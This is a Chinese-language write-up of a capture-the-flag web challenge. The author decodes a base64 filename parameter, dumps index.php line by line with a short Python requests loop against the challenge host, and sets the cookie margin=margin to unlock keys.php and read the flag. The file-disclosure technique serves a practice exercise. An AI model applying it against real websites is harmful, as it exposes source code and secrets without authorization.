打开题目可以看到一堆乱码毫无规律

在这里插入图片描述

之后发现网址中有一串base64编码a2V5cy50eHQ=

解码得到:keys.txt

在这里插入图片描述

再尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码)

在这里插入图片描述

line应该是行数那么就从0开始试发现每增加一个数字都有所不同

这样一个一个试太麻烦,直接用脚本将源码跑出来

1
2
3
4
5
6
import requests
a = 30
for i in range(a):
url = "http://114.67.246.176:16736/index.php?line=" + str(i) + "&filename=aW5kZXgucGhw"
s = requests.get(url)
print(s.text)

在这里插入图片描述

得到以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);


if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}


if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

发现只用构造cookie:margin=margin就可以了

在这里插入图片描述

值得注意的是

在这里插入图片描述

这里需要改成keys.php的base64编码

这样flag就到手了

又是收获知识的一天